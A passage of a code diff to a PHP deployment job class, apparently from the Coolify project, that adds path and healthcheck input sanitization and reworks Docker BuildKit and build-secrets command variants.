$this->application_deployment_queue->addLogEntry('Build secrets feature is enabled but not supported. Using traditional build arguments.');
|
||||
$this->dockerSecretsSupported = false;
|
||||
$this->application_deployment_queue->addLogEntry("Docker on {$serverName} does not support build secrets. Using traditional build arguments.");
|
||||
}
|
||||
}
|
||||
} catch (\Exception $e) {
|
||||
$this->dockerBuildkitSupported = false;
|
||||
$this->dockerSecretsSupported = false;
|
||||
$this->application_deployment_queue->addLogEntry("Could not detect BuildKit capabilities on {$serverName}: {$e->getMessage()}");
|
||||
$this->application_deployment_queue->addLogEntry('Build secrets feature is enabled but detection failed. Using traditional build arguments.');
|
||||
}
|
||||
}
|
||||
|
||||
|
|
@ -571,7 +568,7 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue
|
|||
private function deploy_docker_compose_buildpack()
|
||||
{
|
||||
if (data_get($this->application, 'docker_compose_location')) {
|
||||
$this->docker_compose_location = $this->application->docker_compose_location;
|
||||
$this->docker_compose_location = $this->validatePathField($this->application->docker_compose_location, 'docker_compose_location');
|
||||
}
|
||||
if (data_get($this->application, 'docker_compose_custom_start_command')) {
|
||||
$this->docker_compose_custom_start_command = $this->application->docker_compose_custom_start_command;
|
||||
|
|
@ -632,7 +629,7 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue
|
|||
|
||||
// For raw compose, we cannot automatically add secrets configuration
|
||||
// User must define it manually in their docker-compose file
|
||||
if ($this->application->settings->use_build_secrets && $this->dockerBuildkitSupported && ! empty($this->build_secrets)) {
|
||||
if ($this->dockerSecretsSupported && ! empty($this->build_secrets)) {
|
||||
$this->application_deployment_queue->addLogEntry('Build secrets are configured. Ensure your docker-compose file includes build.secrets configuration for services that need them.');
|
||||
}
|
||||
} else {
|
||||
|
|
@ -653,7 +650,7 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue
|
|||
}
|
||||
|
||||
// Add build secrets to compose file if enabled and BuildKit is supported
|
||||
if ($this->application->settings->use_build_secrets && $this->dockerBuildkitSupported && ! empty($this->build_secrets)) {
|
||||
if ($this->dockerSecretsSupported && ! empty($this->build_secrets)) {
|
||||
$composeFile = $this->add_build_secrets_to_compose($composeFile);
|
||||
}
|
||||
|
||||
|
|
@ -689,8 +686,6 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue
|
|||
// Inject build arguments after build subcommand if not using build secrets
|
||||
if (! $this->application->settings->use_build_secrets && $this->build_args instanceof \Illuminate\Support\Collection && $this->build_args->isNotEmpty()) {
|
||||
$build_args_string = $this->build_args->implode(' ');
|
||||
// Escape single quotes for bash -c context used by executeInDocker
|
||||
$build_args_string = str_replace("'", "'\\''", $build_args_string);
|
||||
|
||||
// Inject build args right after 'build' subcommand (not at the end)
|
||||
$original_command = $build_command;
|
||||
|
|
@ -702,9 +697,17 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue
|
|||
}
|
||||
}
|
||||
|
||||
$this->execute_remote_command(
|
||||
[executeInDocker($this->deployment_uuid, "cd {$this->basedir} && {$build_command}"), 'hidden' => true],
|
||||
);
|
||||
try {
|
||||
$this->execute_remote_command(
|
||||
[executeInDocker($this->deployment_uuid, "cd {$this->basedir} && {$build_command}"), 'hidden' => true],
|
||||
);
|
||||
} catch (\RuntimeException $e) {
|
||||
if (str_contains($e->getMessage(), "matching `'") || str_contains($e->getMessage(), 'unexpected EOF')) {
|
||||
throw new DeploymentException("Custom build command failed due to shell syntax error. Please check your command for special characters (like unmatched quotes): {$this->docker_compose_custom_build_command}");
|
||||
}
|
||||
|
||||
throw $e;
|
||||
}
|
||||
} else {
|
||||
$command = "{$this->coolify_variables} docker compose";
|
||||
// Prepend DOCKER_BUILDKIT=1 if BuildKit is supported
|
||||
|
|
@ -721,8 +724,6 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue
|
|||
|
||||
if (! $this->application->settings->use_build_secrets && $this->build_args instanceof \Illuminate\Support\Collection && $this->build_args->isNotEmpty()) {
|
||||
$build_args_string = $this->build_args->implode(' ');
|
||||
// Escape single quotes for bash -c context used by executeInDocker
|
||||
$build_args_string = str_replace("'", "'\\''", $build_args_string);
|
||||
$command .= " {$build_args_string}";
|
||||
$this->application_deployment_queue->addLogEntry('Adding build arguments to Docker Compose build command.');
|
||||
}
|
||||
|
|
@ -768,9 +769,18 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue
|
|||
);
|
||||
|
||||
$this->write_deployment_configurations();
|
||||
$this->execute_remote_command(
|
||||
[executeInDocker($this->deployment_uuid, "cd {$this->workdir} && {$start_command}"), 'hidden' => true],
|
||||
);
|
||||
|
||||
try {
|
||||
$this->execute_remote_command(
|
||||
[executeInDocker($this->deployment_uuid, "cd {$this->workdir} && {$start_command}"), 'hidden' => true],
|
||||
);
|
||||
} catch (\RuntimeException $e) {
|
||||
if (str_contains($e->getMessage(), "matching `'") || str_contains($e->getMessage(), 'unexpected EOF')) {
|
||||
throw new DeploymentException("Custom start command failed due to shell syntax error. Please check your command for special characters (like unmatched quotes): {$this->docker_compose_custom_start_command}");
|
||||
}
|
||||
|
||||
throw $e;
|
||||
}
|
||||
} else {
|
||||
$this->write_deployment_configurations();
|
||||
$this->docker_compose_location = '/docker-compose.yaml';
|
||||
|
|
@ -831,7 +841,7 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue
|
|||
$this->server = $this->build_server;
|
||||
}
|
||||
if (data_get($this->application, 'dockerfile_location')) {
|
||||
$this->dockerfile_location = $this->application->dockerfile_location;
|
||||
$this->dockerfile_location = $this->validatePathField($this->application->dockerfile_location, 'dockerfile_location');
|
||||
}
|
||||
$this->prepare_builder_image();
|
||||
$this->check_git_if_build_needed();
|
||||
|
|
@ -1800,7 +1810,8 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue
|
|||
$counter = 1;
|
||||
$this->application_deployment_queue->addLogEntry('Waiting for healthcheck to pass on the new container.');
|
||||
if ($this->full_healthcheck_url && ! $this->application->custom_healthcheck_found) {
|
||||
$this->application_deployment_queue->addLogEntry("Healthcheck URL (inside the container): {$this->full_healthcheck_url}");
|
||||
$healthcheckLabel = $this->application->health_check_type === 'cmd' ? 'Healthcheck command' : 'Healthcheck URL';
|
||||
$this->application_deployment_queue->addLogEntry("{$healthcheckLabel} (inside the container): {$this->full_healthcheck_url}");
|
||||
}
|
||||
$this->application_deployment_queue->addLogEntry("Waiting for the start period ({$this->application->health_check_start_period} seconds) before starting healthcheck.");
|
||||
$sleeptime = 0;
|
||||
|
|
@ -2758,29 +2769,55 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue
|
|||
|
||||
private function generate_healthcheck_commands()
|
||||
{
|
||||
// Handle CMD type healthcheck
|
||||
if ($this->application->health_check_type === 'cmd' && ! empty($this->application->health_check_command)) {
|
||||
$this->full_healthcheck_url = $this->application->health_check_command;
|
||||
|
||||
return $this->application->health_check_command;
|
||||
}
|
||||
|
||||
// HTTP type healthcheck (default)
|
||||
if (! $this->application->health_check_port) {
|
||||
$health_check_port = $this->application->ports_exposes_array[0];
|
||||
$health_check_port = (int) $this->application->ports_exposes_array[0];
|
||||
} else {
|
||||
$health_check_port = $this->application->health_check_port;
|
||||
$health_check_port = (int) $this->application->health_check_port;
|
||||
}
|
||||
if ($this->application->settings->is_static || $this->application->build_pack === 'static') {
|
||||
$health_check_port = 80;
|
||||
}
|
||||
if ($this->application->health_check_path) {
|
||||
$this->full_healthcheck_url = "{$this->application->health_check_method}: {$this->application->health_check_scheme}://{$this->application->health_check_host}:{$health_check_port}{$this->application->health_check_path}";
|
||||
$generated_healthchecks_commands = [
|
||||
"curl -s -X {$this->application->health_check_method} -f {$this->application->health_check_scheme}://{$this->application->health_check_host}:{$health_check_port}{$this->application->health_check_path} > /dev/null || wget -q -O- {$this->application->health_check_scheme}://{$this->application->health_check_host}:{$health_check_port}{$this->application->health_check_path} > /dev/null || exit 1",
|
||||
];
|
||||
|
||||
$method = $this->sanitizeHealthCheckValue($this->application->health_check_method, '/^[A-Z]+$/', 'GET');
|
||||
$scheme = $this->sanitizeHealthCheckValue($this->application->health_check_scheme, '/^https?$/', 'http');
|
||||
$host = $this->sanitizeHealthCheckValue($this->application->health_check_host, '/^[a-zA-Z0-9.\-_]+$/', 'localhost');
|
||||
$path = $this->application->health_check_path
|
||||
? $this->sanitizeHealthCheckValue($this->application->health_check_path, '#^[a-zA-Z0-9/\-_.~%]+$#', '/')
|
||||
: null;
|
||||
|
||||
$url = escapeshellarg("{$scheme}://{$host}:{$health_check_port}".($path ?? '/'));
|
||||
$method = escapeshellarg($method);
|
||||
|
||||
if ($path) {
|
||||
$this->full_healthcheck_url = "{$this->application->health_check_method}: {$scheme}://{$host}:{$health_check_port}{$path}";
|
||||
} else {
|
||||
$this->full_healthcheck_url = "{$this->application->health_check_method}: {$this->application->health_check_scheme}://{$this->application->health_check_host}:{$health_check_port}/";
|
||||
$generated_healthchecks_commands = [
|
||||
"curl -s -X {$this->application->health_check_method} -f {$this->application->health_check_scheme}://{$this->application->health_check_host}:{$health_check_port}/ > /dev/null || wget -q -O- {$this->application->health_check_scheme}://{$this->application->health_check_host}:{$health_check_port}/ > /dev/null || exit 1",
|
||||
];
|
||||
$this->full_healthcheck_url = "{$this->application->health_check_method}: {$scheme}://{$host}:{$health_check_port}/";
|
||||
}
|
||||
|
||||
$generated_healthchecks_commands = [
|
||||
"curl -s -X {$method} -f {$url} > /dev/null || wget -q -O- {$url} > /dev/null || exit 1",
|
||||
];
|
||||
|
||||
return implode(' ', $generated_healthchecks_commands);
|
||||
}
|
||||
|
||||
private function sanitizeHealthCheckValue(string $value, string $pattern, string $default): string
|
||||
{
|
||||
if (preg_match($pattern, $value)) {
|
||||
return $value;
|
||||
}
|
||||
|
||||
return $default;
|
||||
}
|
||||
|
||||
private function pull_latest_image($image)
|
||||
{
|
||||
$this->application_deployment_queue->addLogEntry("Pulling latest image ($image) from the registry.");
|
||||
|
|
@ -2817,7 +2854,11 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue
|
|||
$nginx_config = base64_encode(defaultNginxConfiguration());
|
||||
}
|
||||
}
|
||||
$build_command = "docker build {$this->addHosts} --network host -f {$this->workdir}/Dockerfile --progress plain -t {$this->production_image_name} {$this->workdir}";
|
||||
if ($this->dockerBuildkitSupported) {
|
||||
$build_command = "DOCKER_BUILDKIT=1 docker build {$this->addHosts} --network host -f {$this->workdir}/Dockerfile --progress plain -t {$this->production_image_name} {$this->workdir}";
|
||||
} else {
|
||||
$build_command = "docker build {$this->addHosts} --network host -f {$this->workdir}/Dockerfile -t {$this->production_image_name} {$this->workdir}";
|
||||
}
|
||||
$base64_build_command = base64_encode($build_command);
|
||||
$this->execute_remote_command(
|
||||
[
|
||||
|
|
@ -2857,21 +2898,19 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue
|
|||
private function build_image()
|
||||
{
|
||||
// Add Coolify related variables to the build args/secrets
|
||||
if ($this->dockerBuildkitSupported) {
|
||||
// Coolify variables are already included in the secrets from generate_build_env_variables
|
||||
// build_secrets is already a string at this point
|
||||
} else {
|
||||
if (! $this->dockerBuildkitSupported) {
|
||||
// Traditional build args approach - generate COOLIFY_ variables locally
|
||||
// Generate COOLIFY_ variables locally for build args
|
||||
$coolify_envs = $this->generate_coolify_env_variables(forBuildTime: true);
|
||||
$coolify_envs->each(function ($value, $key) {
|
||||
$this->build_args->push("--build-arg '{$key}'");
|
||||
});
|
||||
$this->build_args = $this->build_args instanceof \Illuminate\Support\Collection
|
||||
? $this->build_args->implode(' ')
|
||||
: (string) $this->build_args;
|
||||
}
|
||||
|
||||
// Always convert build_args Collection to string for command interpolation
|
||||
$this->build_args = $this->build_args instanceof \Illuminate\Support\Collection
|
||||
? $this->build_args->implode(' ')
|
||||
: (string) $this->build_args;
|
||||
|
||||
$this->application_deployment_queue->addLogEntry('----------------------------------------');
|
||||
if ($this->disableBuildCache) {
|
||||
$this->application_deployment_queue->addLogEntry('Docker build cache is disabled. It will not be used during the build process.');
|
||||
|
|
@ -2899,7 +2938,7 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue
|
|||
executeInDocker($this->deployment_uuid, "cat {$this->workdir}/.nixpacks/Dockerfile"),
|
||||
'hidden' => true,
|
||||
]);
|
||||
if ($this->dockerBuildkitSupported && $this->application->settings->use_build_secrets) {
|
||||
if ($this->dockerSecretsSupported) {
|
||||
// Modify the nixpacks Dockerfile to use build secrets
|
||||
$this->modify_dockerfile_for_secrets("{$this->workdir}/.nixpacks/Dockerfile");
|
||||
$secrets_flags = $this->build_secrets ? " {$this->build_secrets}" : '';
|
||||
|
|
@ -2907,9 +2946,8 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue
|
|||
} elseif ($this->dockerBuildkitSupported) {
|
||||
// BuildKit without secrets
|
||||
$build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build --no-cache {$this->addHosts} --network host -f {$this->workdir}/.nixpacks/Dockerfile --progress plain -t {$this->build_image_name} {$this->build_args} {$this->workdir}");
|
||||
ray($build_command);
|
||||
} else {
|
||||
$build_command = $this->wrap_build_command_with_env_export("docker build --no-cache {$this->addHosts} --network host -f {$this->workdir}/.nixpacks/Dockerfile --progress plain -t {$this->build_image_name} {$this->build_args} {$this->workdir}");
|
||||
$build_command = $this->wrap_build_command_with_env_export("docker build --no-cache {$this->addHosts} --network host -f {$this->workdir}/.nixpacks/Dockerfile -t {$this->build_image_name} {$this->build_args} {$this->workdir}");
|
||||
}
|
||||
} else {
|
||||
$this->execute_remote_command([
|
||||
|
|
@ -2919,18 +2957,16 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue
|
|||
executeInDocker($this->deployment_uuid, "cat {$this->workdir}/.nixpacks/Dockerfile"),
|
||||
'hidden' => true,
|
||||
]);
|
||||
if ($this->dockerBuildkitSupported && $this->application->settings->use_build_secrets) {
|
||||
if ($this->dockerSecretsSupported) {
|
||||
// Modify the nixpacks Dockerfile to use build secrets
|
||||
$this->modify_dockerfile_for_secrets("{$this->workdir}/.nixpacks/Dockerfile");
|
||||
$secrets_flags = $this->build_secrets ? " {$this->build_secrets}" : '';
|
||||
$build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build {$this->addHosts} --network host -f {$this->workdir}/.nixpacks/Dockerfile{$secrets_flags} --progress plain -t {$this->build_image_name} {$this->workdir}");
|
||||
} elseif ($this->dockerBuildkitSupported) {
|
||||
// BuildKit without secrets
|
||||
$this->modify_dockerfile_for_secrets("{$this->workdir}/.nixpacks/Dockerfile");
|
||||
$secrets_flags = $this->build_secrets ? " {$this->build_secrets}" : '';
|
||||
$build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build {$this->addHosts} --network host -f {$this->workdir}/.nixpacks/Dockerfile{$secrets_flags} --progress plain -t {$this->build_image_name} {$this->build_args} {$this->workdir}");
|
||||
$build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build {$this->addHosts} --network host -f {$this->workdir}/.nixpacks/Dockerfile --progress plain -t {$this->build_image_name} {$this->build_args} {$this->workdir}");
|
||||
} else {
|
||||
$build_command = $this->wrap_build_command_with_env_export("docker build {$this->addHosts} --network host -f {$this->workdir}/.nixpacks/Dockerfile --progress plain -t {$this->build_image_name} {$this->build_args} {$this->workdir}");
|
||||
$build_command = $this->wrap_build_command_with_env_export("docker build {$this->addHosts} --network host -f {$this->workdir}/.nixpacks/Dockerfile -t {$this->build_image_name} {$this->build_args} {$this->workdir}");
|
||||
}
|
||||
}
|
||||
|
||||
|
|
@ -2952,7 +2988,7 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue
|
|||
$this->execute_remote_command([executeInDocker($this->deployment_uuid, 'rm '.self::NIXPACKS_PLAN_PATH), 'hidden' => true]);
|
||||
} else {
|
||||
// Dockerfile buildpack
|
||||
if ($this->dockerBuildkitSupported && $this->application->settings->use_build_secrets) {
|
||||
if ($this->dockerSecretsSupported) {
|
||||
// Modify the Dockerfile to use build secrets
|
||||
$this->modify_dockerfile_for_secrets("{$this->workdir}{$this->dockerfile_location}");
|
||||
$secrets_flags = $this->build_secrets ? " {$this->build_secrets}" : '';
|
||||
|
|
@ -2963,19 +2999,17 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue
|
|||
}
|
||||
} elseif ($this->dockerBuildkitSupported) {
|
||||
// BuildKit without secrets
|
||||
$this->modify_dockerfile_for_secrets("{$this->workdir}{$this->dockerfile_location}");
|
||||
$secrets_flags = $this->build_secrets ? " {$this->build_secrets}" : '';
|
||||
if ($this->force_rebuild) {
|
||||
$build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build --no-cache {$this->buildTarget} --network {$this->destination->network} -f {$this->workdir}{$this->dockerfile_location}{$secrets_flags} --progress plain -t $this->build_image_name {$this->build_args} {$this->workdir}");
|
||||
$build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build --no-cache {$this->buildTarget} --network {$this->destination->network} -f {$this->workdir}{$this->dockerfile_location} --progress plain -t $this->build_image_name {$this->build_args} {$this->workdir}");
|
||||
} else {
|
||||
$build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build {$this->buildTarget} --network {$this->destination->network} -f {$this->workdir}{$this->dockerfile_location}{$secrets_flags} --progress plain -t $this->build_image_name {$this->build_args} {$this->workdir}");
|
||||
$build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build {$this->buildTarget} --network {$this->destination->network} -f {$this->workdir}{$this->dockerfile_location} --progress plain -t $this->build_image_name {$this->build_args} {$this->workdir}");
|
||||
}
|
||||
} else {
|
||||
// Traditional build with args
|
||||
if ($this->force_rebuild) {
|
||||
$build_command = $this->wrap_build_command_with_env_export("docker build --no-cache {$this->buildTarget} --network {$this->destination->network} -f {$this->workdir}{$this->dockerfile_location} {$this->build_args} --progress plain -t $this->build_image_name {$this->workdir}");
|
||||
$build_command = $this->wrap_build_command_with_env_export("docker build --no-cache {$this->buildTarget} --network {$this->destination->network} -f {$this->workdir}{$this->dockerfile_location} {$this->build_args} -t $this->build_image_name {$this->workdir}");
|
||||
} else {
|
||||
$build_command = $this->wrap_build_command_with_env_export("docker build {$this->buildTarget} --network {$this->destination->network} -f {$this->workdir}{$this->dockerfile_location} {$this->build_args} --progress plain -t $this->build_image_name {$this->workdir}");
|
||||
$build_command = $this->wrap_build_command_with_env_export("docker build {$this->buildTarget} --network {$this->destination->network} -f {$this->workdir}{$this->dockerfile_location} {$this->build_args} -t $this->build_image_name {$this->workdir}");
|
||||
}
|
||||
}
|
||||
$base64_build_command = base64_encode($build_command);
|
||||
|
|
@ -3010,7 +3044,11 @@ COPY ./nginx.conf /etc/nginx/conf.d/default.conf");
|
|||
$nginx_config = base64_encode(defaultNginxConfiguration());
|
||||
}
|
||||
}
|
||||
$build_command = $this->wrap_build_command_with_env_export("docker build {$this->addHosts} --network host -f {$this->workdir}/Dockerfile {$this->build_args} --progress plain -t {$this->production_image_name} {$this->workdir}");
|
||||
if ($this->dockerBuildkitSupported) {
|
||||
$build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build {$this->addHosts} --network host -f {$this->workdir}/Dockerfile {$this->build_args} --progress plain -t {$this->production_image_name} {$this->workdir}");
|
||||
} else {
|
||||
$build_command = $this->wrap_build_command_with_env_export("docker build {$this->addHosts} --network host -f {$this->workdir}/Dockerfile {$this->build_args} -t {$this->production_image_name} {$this->workdir}");
|
||||
}
|
||||
$base64_build_command = base64_encode($build_command);
|
||||
$this->execute_remote_command(
|
||||
[
|
||||
|
|
@ -3035,7 +3073,7 @@ COPY ./nginx.conf /etc/nginx/conf.d/default.conf");
|
|||
} else {
|
||||
// Pure Dockerfile based deployment
|
||||
if ($this->application->dockerfile) {
|
||||
if ($this->dockerBuildkitSupported && $this->application->settings->use_build_secrets) {
|
||||
if ($this->dockerSecretsSupported) {
|
||||
// Modify the Dockerfile to use build secrets
|
||||
$this->modify_dockerfile_for_secrets("{$this->workdir}{$this->dockerfile_location}");
|
||||
$secrets_flags = $this->build_secrets ? " {$this->build_secrets}" : '';
|
||||
|
|
@ -3044,12 +3082,19 @@ COPY ./nginx.conf /etc/nginx/conf.d/default.conf");
|
|||
} else {
|
||||
$build_command = "DOCKER_BUILDKIT=1 docker build --pull {$this->buildTarget} {$this->addHosts} --network host -f {$this->workdir}{$this->dockerfile_location}{$secrets_flags} --progress plain -t {$this->production_image_name} {$this->workdir}";
|
||||
}
|
||||
} else {
|
||||
// Traditional build with args
|
||||
} elseif ($this->dockerBuildkitSupported) {
|
||||
// BuildKit without secrets
|
||||
if ($this->force_rebuild) {
|
||||
$build_command = $this->wrap_build_command_with_env_export("docker build --no-cache --pull {$this->buildTarget} {$this->addHosts} --network host -f {$this->workdir}{$this->dockerfile_location} {$this->build_args} --progress plain -t {$this->production_image_name} {$this->workdir}");
|
||||
$build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build --no-cache --pull {$this->buildTarget} {$this->addHosts} --network host -f {$this->workdir}{$this->dockerfile_location} --progress plain -t {$this->production_image_name} {$this->build_args} {$this->workdir}");
|
||||
} else {
|
||||
$build_command = $this->wrap_build_command_with_env_export("docker build --pull {$this->buildTarget} {$this->addHosts} --network host -f {$this->workdir}{$this->dockerfile_location} {$this->build_args} --progress plain -t {$this->production_image_name} {$this->workdir}");
|
||||
$build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build --pull {$this->buildTarget} {$this->addHosts} --network host -f {$this->workdir}{$this->dockerfile_location} --progress plain -t {$this->production_image_name} {$this->build_args} {$this->workdir}");
|
||||
}
|
||||
} else {
|
||||
// Traditional build with args (no --progress for legacy builder compatibility)
|
||||
if ($this->force_rebuild) {
|
||||
$build_command = $this->wrap_build_command_with_env_export("docker build --no-cache --pull {$this->buildTarget} {$this->addHosts} --network host -f {$this->workdir}{$this->dockerfile_location} {$this->build_args} -t {$this->production_image_name} {$this->workdir}");
|
||||
} else {
|
||||
$build_command = $this->wrap_build_command_with_env_export("docker build --pull {$this->buildTarget} {$this->addHosts} --network host -f {$this->workdir}{$this->dockerfile_location} {$this->build_args} -t {$this->production_image_name} {$this->workdir}");
|
||||
}
|
||||
}
|
||||
$base64_build_command = base64_encode($build_command);
|
||||
|
|
@ -3079,18 +3124,16 @@ COPY ./nginx.conf /etc/nginx/conf.d/default.conf");
|
|||
executeInDocker($this->deployment_uuid, "cat {$this->workdir}/.nixpacks/Dockerfile"),
|
||||
'hidden' => true,
|
||||
]);
|
||||
if ($this->dockerBuildkitSupported && $this->application->settings->use_build_secrets) {
|
||||
if ($this->dockerSecretsSupported) {
|
||||
// Modify the nixpacks Dockerfile to use build secrets
|
||||
$this->modify_dockerfile_for_secrets("{$this->workdir}/.nixpacks/Dockerfile");
|
||||
$secrets_flags = $this->build_secrets ? " {$this->build_secrets}" : '';
|
||||
$build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build --no-cache {$this->addHosts} --network host -f {$this->workdir}/.nixpacks/Dockerfile{$secrets_flags} --progress plain -t {$this->production_image_name} {$this->workdir}");
|
||||
} elseif ($this->dockerBuildkitSupported) {
|
||||
// BuildKit without secrets
|
||||
$this->modify_dockerfile_for_secrets("{$this->workdir}/.nixpacks/Dockerfile");
|
||||
$secrets_flags = $this->build_secrets ? " {$this->build_secrets}" : '';
|
||||
$build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build --no-cache {$this->addHosts} --network host -f {$this->workdir}/.nixpacks/Dockerfile{$secrets_flags} --progress plain -t {$this->production_image_name} {$this->build_args} {$this->workdir}");
|
||||
$build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build --no-cache {$this->addHosts} --network host -f {$this->workdir}/.nixpacks/Dockerfile --progress plain -t {$this->production_image_name} {$this->build_args} {$this->workdir}");
|
||||
} else {
|
||||
$build_command = $this->wrap_build_command_with_env_export("docker build --no-cache {$this->addHosts} --network host -f {$this->workdir}/.nixpacks/Dockerfile --progress plain -t {$this->production_image_name} {$this->build_args} {$this->workdir}");
|
||||
$build_command = $this->wrap_build_command_with_env_export("docker build --no-cache {$this->addHosts} --network host -f {$this->workdir}/.nixpacks/Dockerfile -t {$this->production_image_name} {$this->build_args} {$this->workdir}");
|
||||
}
|
||||
} else {
|
||||
$this->execute_remote_command([
|
||||
|
|
@ -3100,18 +3143,16 @@ COPY ./nginx.conf /etc/nginx/conf.d/default.conf");
|
|||
executeInDocker($this->deployment_uuid, "cat {$this->workdir}/.nixpacks/Dockerfile"),
|
||||
'hidden' => true,
|
||||
]);
|
||||
if ($this->dockerBuildkitSupported && $this->application->settings->use_build_secrets) {
|
||||
if ($this->dockerSecretsSupported) {
|
||||
// Modify the nixpacks Dockerfile to use build secrets
|
||||
$this->modify_dockerfile_for_secrets("{$this->workdir}/.nixpacks/Dockerfile");
|
||||
$secrets_flags = $this->build_secrets ? " {$this->build_secrets}" : '';
|
||||
$build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build {$this->addHosts} --network host -f {$this->workdir}/.nixpacks/Dockerfile{$secrets_flags} --progress plain -t {$this->production_image_name} {$this->workdir}");
|
||||
} elseif ($this->dockerBuildkitSupported) {
|
||||
// BuildKit without secrets
|
||||
$this->modify_dockerfile_for_secrets("{$this->workdir}/.nixpacks/Dockerfile");
|
||||
$secrets_flags = $this->build_secrets ? " {$this->build_secrets}" : '';
|
||||
$build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build {$this->addHosts} --network host -f {$this->workdir}/.nixpacks/Dockerfile{$secrets_flags} --progress plain -t {$this->production_image_name} {$this->build_args} {$this->workdir}");
|
||||
$build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build {$this->addHosts} --network host -f {$this->workdir}/.nixpacks/Dockerfile --progress plain -t {$this->production_image_name} {$this->build_args} {$this->workdir}");
|
||||
} else {
|
||||
$build_command = $this->wrap_build_command_with_env_export("docker build {$this->addHosts} --network host -f {$this->workdir}/.nixpacks/Dockerfile --progress plain -t {$this->production_image_name} {$this->build_args} {$this->workdir}");
|
||||
$build_command = $this->wrap_build_command_with_env_export("docker build {$this->addHosts} --network host -f {$this->workdir}/.nixpacks/Dockerfile -t {$this->production_image_name} {$this->build_args} {$this->workdir}");
|
||||
}
|
||||
}
|
||||
$base64_build_command = base64_encode($build_command);
|
||||
|
|
@ -3132,7 +3173,7 @@ COPY ./nginx.conf /etc/nginx/conf.d/default.conf");
|
|||
$this->execute_remote_command([executeInDocker($this->deployment_uuid, 'rm '.self::NIXPACKS_PLAN_PATH), 'hidden' => true]);
|
||||
} else {
|
||||
// Dockerfile buildpack
|
||||
if ($this->dockerBuildkitSupported && $this->application->settings->use_build_secrets) {
|
||||
if ($this->dockerSecretsSupported) {
|
||||
// Modify the Dockerfile to use build secrets
|
||||
$this->modify_dockerfile_for_secrets("{$this->workdir}{$this->dockerfile_location}");
|
||||
// Use BuildKit with secrets
|
||||
|
|
@ -3144,19 +3185,17 @@ COPY ./nginx.conf /etc/nginx/conf.d/default.conf");
|
|||
}
|
||||
} elseif ($this->dockerBuildkitSupported) {
|
||||
// BuildKit without secrets
|
||||
$this->modify_dockerfile_for_secrets("{$this->workdir}{$this->dockerfile_location}");
|
||||
$secrets_flags = $this->build_secrets ? " {$this->build_secrets}" : '';
|
||||
if ($this->force_rebuild) {
|
||||
$build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build --no-cache {$this->buildTarget} {$this->addHosts} --network host -f {$this->workdir}{$this->dockerfile_location}{$secrets_flags} --progress plain -t {$this->production_image_name} {$this->build_args} {$this->workdir}");
|
||||
$build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build --no-cache {$this->buildTarget} {$this->addHosts} --network host -f {$this->workdir}{$this->dockerfile_location} --progress plain -t {$this->production_image_name} {$this->build_args} {$this->workdir}");
|
||||
} else {
|
||||
$build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build {$this->buildTarget} {$this->addHosts} --network host -f {$this->workdir}{$this->dockerfile_location}{$secrets_flags} --progress plain -t {$this->production_image_name} {$this->build_args} {$this->workdir}");
|
||||
$build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build {$this->buildTarget} {$this->addHosts} --network host -f {$this->workdir}{$this->dockerfile_location} --progress plain -t {$this->production_image_name} {$this->build_args} {$this->workdir}");
|
||||
}
|
||||
} else {
|
||||
// Traditional build with args
|
||||
if ($this->force_rebuild) {
|
||||
$build_command = $this->wrap_build_command_with_env_export("docker build --no-cache {$this->buildTarget} {$this->addHosts} --network host -f {$this->workdir}{$this->dockerfile_location} {$this->build_args} --progress plain -t {$this->production_image_name} {$this->workdir}");
|
||||
$build_command = $this->wrap_build_command_with_env_export("docker build --no-cache {$this->buildTarget} {$this->addHosts} --network host -f {$this->workdir}{$this->dockerfile_location} {$this->build_args} -t {$this->production_image_name} {$this->workdir}");
|
||||
} else {
|
||||
$build_command = $this->wrap_build_command_with_env_export("docker build {$this->buildTarget} {$this->addHosts} --network host -f {$this->workdir}{$this->dockerfile_location} {$this->build_args} --progress plain -t {$this->production_image_name} {$this->workdir}");
|
||||
